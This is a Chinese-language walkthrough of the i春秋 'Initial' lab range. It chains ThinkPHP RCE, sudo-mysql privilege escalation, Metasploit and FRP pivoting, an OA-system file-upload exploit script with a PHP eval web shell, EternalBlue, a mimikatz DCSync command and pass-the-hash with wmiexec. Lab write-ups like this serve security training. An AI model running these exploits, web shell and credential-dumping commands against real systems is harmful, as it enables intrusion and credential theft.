i春秋Initial靶场

外网打点

首先访问

image-20230323224818098

想到的第一个是弱口令, burpsuite爆破admin密码, 失败

而且输入错误的账号密码直接弹出404

image-20230323225020214

也不存在SQL注入

想到可能就是骗人的登录框

上漏扫, 扫一下

Goby无果

image-20230323225227696

试试fscan

image-20230323225313555

显示存在thinkphp漏洞

拿thinkphp利用工具检测一下

image-20230323225423612

确认存在

可以直接RCE了

直接getshell

image-20230324094819218

蚁剑连接

image-20230324094841684

找flag, 发现目前能够访问的文件夹是没有的

root文件夹, 无法访问

发现权限是非常低的

image-20230324095220677

权限提升

上传linux漏洞扫描脚本, 执行

image-20230324121256088

发现一大堆

都试了一下, 不能用, 有的是误报了

内核漏洞无法提权的话, 就考虑sudo提权

首先查看etc/sudoers.d文件夹

image-20230324212408097

有文件, 但是是不可读的, 应该是权限不够

使用命令查看给予sudo的组件

1
sudo -l

image-20230324212536676

发现**mysql**,可以免密使用

那么我们就可以使用mysql执行高权限命令了

查看是否具有高权限

1
sudo mysql -e '\! id'

image-20230324212953546

可以执行高权限语句了, 那么现在我们来查看一下神秘的flag

1
sudo mysql -e '\! find / -name flag'

image-20230324213423749

直接查看呗

image-20230324213523403

image-20230324213601061

发现第一部分flag

1
flag{60b53231-

移交msf

这个命令行能够执行的东西有限

我们移交msf

image-20230324214029807

执行木马反弹shell

image-20230324214100610

image-20230324214119892

探测内网

寻找其他网段

1
run get_local_subnets

image-20230324220510275

1
ifconfig

image-20230324220746355

查看现有网段

1
run post/multi/manage/autoroute

image-20230324222519103

寻找存活端口

1
2
3
4
5
use auxiliary/scanner/portscan/tcp
set rhosts 172.22.1.0/24
set ports 22,23,80,443,8080,8081,3389,445,143,6379
set threads 20
run

image-20230324223009195

172.22.1.15是自己

所以另外存在的就是

1
2
3
172.22.1.2
172.22.1.18
172.22.1.21

设置代理

1
2
3
4
5
background    #退出会话
use auxiliary/server/socks_proxy
set srvhost 服务器ip
set srvport 9999 #3333接口对外开放
exploit

msf设置代理失败

image-20230324223910561

考虑FRP反向代理吧

image-20230324225926049

image-20230324225948049

frp一级代理配置

frps.ini

image-20230324230019996

frpc.ini

image-20230324230040887

配置proxychains4.conf

image-20230324230130372

浏览器设置代理

image-20230324230229996

然后挨个访问上面拿三个ip

只有172.22.1.18成功

image-20230324230316197

说明其他两个可能是服务器, 也可能是普通主机, 也可能是域控

OA系统

查了一下这个版本的OA系统是存在的, 可以直接RCE

但前提是进入后台

一个弱口令就进来了

1
admin  admin123

image-20230325145756645

找到文件上传点

image-20230325165059927

直接使用大佬写的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import requests


session = requests.session()

url_pre = 'http://172.22.1.18/'
url1 = url_pre + '?a=check&m=login&d=&ajaxbool=true&rnd=533953'
url2 = url_pre + '/index.php?a=upfile&m=upload&d=public&maxsize=100&ajaxbool=true&rnd=798913'
url3 = url_pre + '/task.php?m=qcloudCos|runt&a=run&fileid=11'

data1 = {
'rempass': '0',
'jmpass': 'false',
'device': '1625884034525',
'ltype': '0',
'adminuser': 'YWRtaW4=',
'adminpass': 'YWRtaW4xMjM=',
'yanzm': ''
}


r = session.post(url1, data=data1)
r = session.post(url2, files={'file': open('1.php', 'r+')})

filepath = str(r.json()['filepath'])
filepath = "/" + filepath.split('.uptemp')[0] + '.php'
id = r.json()['id']

url3 = url_pre + f'/task.php?m=qcloudCos|runt&a=run&fileid={id}'

r = session.get(url3)
r = session.get(url_pre + filepath + "?1=system('dir');")
print(r.text)

木马文件命名为1.php

1
<?php eval($_POST["1"]);?>

使用windows跑一直无法完成, 应该是python的一些文件无法被代理

使用kali才成功

image-20230325165329260

木马已经写入

image-20230325165409291

蚁剑代理连接

image-20230325165615470

找到flag

image-20230325165713923

1
2ce3-4813-87d4-

分享一个flag思路

靶场的flag, 一般存在于根目录

根目录没有, 就去那些高权限才能访问的目录

linux的root

windows的administrator

一般就在这些地方

这个地方也没有提权

那么这台机器拿下, 现在还剩下两台

1
2
3
172.22.1.21

172.22.1.2

横向

此时我们对另外两台机子没有任何信息

只能先扫描

image-20230325171851878

结果

image-20230325172004584

按照靶场出题人的思路, 想直接拿到域控很困难

我们先拿win7

根据我们的扫描结果, win7是存在永恒之蓝的

永恒之蓝

直接msf利用是最方便的

记得使用proxychains4打开msf

1
search ms17 010

image-20230325173503544

直接利用

1
2
use exploit/windows/smb/ms17_010_eternalblue
show options

image-20230325173848045

配置一下参数, 就直接用了

1
2
set payload windows/x64/meterpreter/bind_tcp_uuid
set RHOSTS 172.22.1.21

image-20230325174555756

接下来, 想到的就是hash传递攻击了

哈希传递

DCSync

使用DCSync攻击获取域内hash

使用我们熟悉的mimikatz

1
2
load kiwi
kiwi_cmd "lsadump::dcsync /domain:xiaorang.lab /all /csv" exit

很奇怪的是我获取不到hash值

image-20230325181730638

重新开启了环境还是不行, 估计是靶场问题, 不够稳定

直接hash传递就行, 用之前测获取的hash

1
python3 wmiexec.py xiaorang/administrator@172.22.1.2 -hashes :10cf89a850fb1cdbe6bb432b859164c8

image-20230325185235344

找hash

image-20230325185535661

1
e8f88d0d43d6}

最后把得到的flag拼接就行

查看评论